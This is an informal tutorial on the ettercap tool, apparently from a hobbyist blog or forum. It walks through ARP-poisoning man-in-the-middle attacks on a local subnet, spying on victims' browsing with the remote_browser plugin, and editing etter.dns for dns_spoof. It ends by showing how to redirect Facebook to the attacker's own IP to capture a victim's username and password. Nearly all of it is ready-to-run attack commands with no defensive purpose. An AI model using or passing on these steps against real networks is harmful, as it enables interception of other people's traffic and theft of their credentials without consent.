Tut04:Ettercap(Scanning,attacking)

Hey!
With the following tutorial you will learn many thinks about ettercap.For example how to run an arp attack and how to scan for hosts and more.
Ok let's start.
First of all you have to download ettercap.Just be root(su) and then download ettercap with the following command apt-get install ettercap.
Before you start using ettercap you must learn what ettercap is!
Ettercap is a very powerful tool for mitm attacks(man-in-the-middle attacks)(http://en.wikipedia.org/wiki/Man-in-the-middle_attack).With ettercap you can do many tricks.For example sniffing on your network,dsn spoofing and more.

Now you are ready to see how ettercap works!

First of all open you terminal.Type "su" and your password to be root.

Here is a simple command for ettercap.

ettercap -T  -M arp:remote -i wlan0 /192.168.1.1/ // -P remote_browser

Ok.Let's see what does this code do.
First of all with command "ettercap" we call ettercap to run.Then with the -T command is starting ettercap in a text-mode.
The -M command starts the Mitm(man in the middle) attack and the arp:remote is the kind of the poisoning.
The -i is the interface.Mine interface is eth1 but the yours may be wlan0(as on the example).
The /192.168.1.1/ // attacks at IP's between 192.168.1.1 to 192.168.1.254.
Finally -P command calls the plugin you want.In this case "remote_browser" a plugin which allows you to see the visited sites.

Another example is with the famous plugin dns_spoof.
With dns_spoof you can redirect the victim at any website.

Step 1)In terminal type "cd /usr/share/ettercap/" and then "nano etter.dns" to open the ttercaps dns file and edit.

 By scrolling down you will see the following lines:

microsoft.com *.microsoft.com www.microsoft.com

A A PTR

198.182.196.56 198.182.196.56 198.182.196.56

Let's say that you want to redirect the victim from google to youtube.Just ping youtube by typing ping www.youtube.com in terminal and then change the etter.dns to
google.*   A   173.194.67.91
www.google.*   A  173.194.67.91
www.google.com  PTR 173.194.67.91

The press Ctrl+O to sav the changes and thn Ctrl+X to exit.
Now type in terminal ettercap -T -M arp:remote -i eth1 /192.168.1.1/ // -P dns_spoof and the victim will be redirected to youtube.

Also you can type  
facebook.*   A   your ip
www.facebook.*   A  your ip
www.facebook.com  PTR your ip

and if the victim connects to facebook,you will learn he's password and username:)